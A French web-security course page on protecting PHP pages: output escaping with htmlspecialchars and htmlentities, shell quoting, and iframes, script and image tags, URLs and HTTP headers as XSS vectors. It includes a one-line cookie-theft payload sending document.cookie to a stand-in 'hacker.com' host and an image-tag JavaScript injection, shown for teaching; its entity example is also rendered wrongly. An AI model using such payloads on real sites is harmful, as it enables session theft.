Protéger ses pages web

[sommaire]

1. **Objectifs**

- Savoir protéger les pages web

- **Présentation**

- La sécurité des sites web est toujours d'actualité. Les menaces et les attaques sur les sites Web augmentent considérablement. Quelle que soit votre activité, vous pouvez être visé.
- La stratégie de protection principale contre les injections HTML est la même que pour toutes les injections : il faut neutraliser les données pour la technologie à laquelle elles sont transmises.

- **Les caractères spéciaux**

1. **Neutralisation des caractères spéciaux**

- Dans le cas des pages web, il faut neutraliser les caractères spéciaux HTML. Il y a deux fonctions de protection fournies par PHP :
  - `htmlentities()`
  - `htmlspecialchars()`

- **htmlspecialchars()**

  - **`htmlspecialchars()`** remplace tous les caractères qui ont une signification spéciale en HTML par leur entité HTML : le terme "**entité HTML**" est un anglicisme pour désigner une séquence représentant un caractère spécial HTML. Par exemple, le caractère < est remplacé par la séquence < (en anglais, **lt** signifie **lesser than** , c'est-à-dire "plus petit que "). Cette règle s'applique ainsi aux caractères suivants :
    - **`&`**, le "et commercial", qui commence les séquences HTML (telles que &) ;
    - **`'`**, les guillemets simples, utilisés dans les attributs ;
    - **`"`**, les guillemets doubles, utilisés dans les attributs ;
    - **`< et >`**, les signes "inférieur à" et "supérieur à", qui délimitent une balise

apcpedagogie.com

- **htmlentities()**
  - **`htmlentities()`** est une version plus complète de `htmlspecialchars()`, elle remplace dans une chaîne tous les caractères possibles par leur séquence HTML.
  - Cela ajoute les caractères spéciaux à la liste précédente, comme les caractères accentués français, ce qui a le double avantage de protéger la chaîne de caractères et de rendre son contenu plus sûr à interpréter pour un navigateur web.

- **Désactivation de l'interprétation de caractères spéciaux**
  - Entre simple quotes (" ' ") les caractères spéciaux ne sont pas interprétés par le shell mais deviennent de simples caractères.

```
$ echo 'deux > trois' Affiche à l'écran ===> deux > trois
```

    - Cela permet d'utiliser les caractères spéciaux dans les arguments.
  - Avec le caractère anti-slash " \ " le caractère (spécial) qui le suit n'est pas interprété.

```
$ echo 'deux \>\> trois' Affiche à l'écran ===> deux >> trois
```

  - Si on veut mélanger des caractères spéciaux, des variables, des commandes..., il faut utiliser les guillemets (" " ").
    - Seuls sont interprétés les méta-caractères " $ " (commandes et variables), " \ " (annulation) et " ‘ " (commandes).

```
$ echo "Mon répertoire courant est $(pwd)" Affiche à l'écran ===>Mon répertoire courant est /usr
```

    - Avec de simples quotes, $(pwd) ne serait pas interprété.

Les balises <iframe> et <frame>

- Même si les cadres sont passés de mode, ils sont toujours disponibles dans les navigateurs modernes. On peut toujours utiliser les balises `<frame>` pour scinder une page en plusieurs parties et charger différentes URL.
- Les cadres ont aussi connu une évolution, sous la forme du **iframe**, le cadre intégré. Le `"i"` signifie **inline**, c'est-à-dire intégré dans le corps de la page HTML. Il réserve un espace d'affichage dans une page web et fonctionne comme un cadre traditionnel.

apcpedagogie.com

- Du point de vue de l'utilisateur, c'est totalement transparent, car aucune information n'est affichée explicitement pour indiquer qu'une page externe est chargée.
- Comme `<iframe>` et `<frame>` font référence à des pages web complètes, il est possible de les utiliser pour charger des applications JavaScript complètes et ainsi avoir accès à toutes les ressources de la page. Grâce aux cadres, on peut charger un formulaire complet et effectuer des requêtes vers des sites externes, en contournant la politique JavaScript de restriction des accès au domaine en cours.

Les balises JavaScript

- Évidemment, il faut également se protéger contre l'injection de balises JavaScript dans une page web. Ces dernières peuvent faire charger un fichier externe : par exemple, une bibliothèque JavaScript importée d'une URL n'aura pas de contraintes de taille. C'est une page blanche qui est offerte à un pirate.
- JavaScript tente actuellement de mettre en place des politiques de sécurité plus draconiennes, suivant une règle très simple : il n'interagit qu'avec le domaine web de la page en cours.
- **Par exemple**, il est possible d'établir une connexion HTTP asynchrone entre le navigateur web et un serveur web en JavaScript, grâce à l'objet **XMLHttpRequest**. Toutefois, si la page web chargée fait partie du domaine http://www.domaine.net, alors le navigateur ne pourra établir une connexion depuis cette page qu'avec ce domaine, à l'exclusion de tout autre. Si le navigateur a chargé plusieurs pages simultanément, chaque page pourra communiquer séparément avec chaque serveur. Elles ne pourront pas établir des connexions croisées.
- De même, nonobstant une faille de la part du navigateur, JavaScript ne peut manipuler que les cookies du domaine dans lequel il évolue. Une injection HTML ayant accès aux cookies du navigateur, elle peut les exporter facilement vers un autre site. Il lui suffit tout simplement de charger une image sur un site externe et de passer les cookies lus dans la page comme argument. Cela se fait en une seule ligne :

```
Img = new image('http://www.hacker.com/image.php?' + document.cookie ) ;
```

- Le site du pirate va simplement enregistrer le chargement de l'image et les paramètres et renvoyer une image correcte, par exemple une image vide. Les cookies sont maintenant en possession du pirate, ainsi que de nombreuses informations de configuration du navigateur (`HTTP_REFERER`, `User-agent`, `IP`, `encodage`, `etc.`).

Les balises images

- Les images font partie des balises souvent utilisées pour exploiter des XSS. En effet, les images sont omniprésentes sur un site, elles sont souvent utilisées pour personnaliser le site.

On peut aussi utiliser une image cachée, comme une image de 1 pixel sur 1 pixel qui se charge comme n'importe quelle autre, mais n'apparaît pas sur la page.

- Surtout, il est possible de les utiliser pour appeler un site externe et même de leur passer des arguments, comme un script PHP standard. Elles sont aussi manipulées par JavaScript, pour le chargement, ou même l'affichage.
- Inversement, les images sont également capables de déclencher des actions JavaScript :

```
<img src="javascript:alert('injection');" />
```

- Nous avons vu dans la section précédente comment utiliser une image pour exporter des cookies vers un site externe. Parfois, l'image chargée peut elle-même contenir du code JavaScript et être à son tour exécutée. Certains navigateurs, comme Internet Explorer permettaient le chargement d'images sous forme de code. Après le chargement, le navigateur identifiait non plus une image mais bien une bibliothèque JavaScript et entreprenait de l'exécuter, comme l'aurait fait une balise "script>.
- ***En résumé, par leur omniprésence et leur polyvalence, les images sont un excellent vecteur de vulnérabilité.***

- ## Les URL

  - Les URL représentent un autre vecteur de vulnérabilité, plus discret. On s'en sert dans de nombreux attributs, comme pour les balises de liens, d'images, de cadre, de feuilles de styles ou de bibliothèques JavaScript. Elles peuvent entrer dans une page via un formulaire, ou provenir des informations que PHP met à votre disposition via les tableaux super-globaux.
  - Les tableaux super-globaux `$_GET`, `$_POST`, `$_REQUEST` et `$_COOKIE` sont couramment identifiés comme des points d'entrée pour les injections HTML : en effet, ils sont entièrement fournis par le navigateur et décodés simplement par PHP avant d'être fournis au script.
  - `$_SESSION` est généralement considéré comme sûr, car les données de ce tableau sont toujours imposées par PHP. Il reste cependant les cas de `$_SERVER` et `$_ENV`, qui sont ambigus.
  - Les données de ces variables proviennent directement du serveur web qui assure les communications entre le client et le navigateur. `$_SERVER` donne des informations sur le serveur web utilisé et `$_ENV` sur l'environnement d'exécution. Dans l'ensemble, ces données sont relativement fiables.
  - **Par exemple**, l'adresse IP ou le nom d'hôte du serveur web est très difficile à manipuler. Mais d'autres valeurs sont plus faciles à modifier, car le serveur web les extrait des en-têtes HTTP, fournis par le client et les transmet directement à PHP. Passons-les en revue.

  - **IP et REMOTE_ADDR**

- L’IP identifie l’adresse du client qui vient demander une page sur le serveur web. Cette information est généralement assez fiable, car le client et le serveur doivent l’utiliser pour établir la communication. Il existe des techniques d’attaque au niveau du réseau par usurpation d’IP type spoofing, où le pirate envoie des requêtes au serveur, au nom d’une autre adresse IP. Il ne reçoit pas la réponse du serveur, car cette dernière est envoyée à l’IP légale, mais c’est parfois suffisant pour poser des problèmes.

- **IP et REMOTE_ADDR**

  HTTP_REFERER
  - HTTP_REFERER est une spécification du protocole HTTP qui indique la dernière page visitée par le navigateur avant d’arriver sur la page actuelle.
  - Cet en-tête permet de suivre la progression d’un navigateur sur un site, ou les relations entre deux sites : elle est très pratique pour établir des tables de navigation.
  - Du point de vue de la sécurité, c’est une information qui est très peu fiable. Elle dépend entièrement du navigateur : si ce dernier ne souhaite pas l’indiquer, il l’omettra. Par conséquent, il est possible de l’utiliser pour établir des statistiques de navigation, mais pas pour s’assurer du passage d’un visiteur sur une page.
  - Inversement, la présence de cette information n’est pas gage de certitude. Un pirate peut facilement donner à cet en-tête la valeur de son choix, pour faire croire qu’il provient d’une page quelconque : il peut spécifier virtuellement les valeurs qu’il souhaite sans perturber la communication avec le serveur web.

Source:

- Livre Sécurité PHP5 et MySQL de D a m i e n S e g u y et P h i l i p p e G a m a c h e

---

Sommaire du cours Administration et sécurité des sites web

Source : https://apcpedagogie.com/proteger-ses-pages-web · téléchargé le 04/11/2026 · © APC Pédagogie · apcpedagogie.com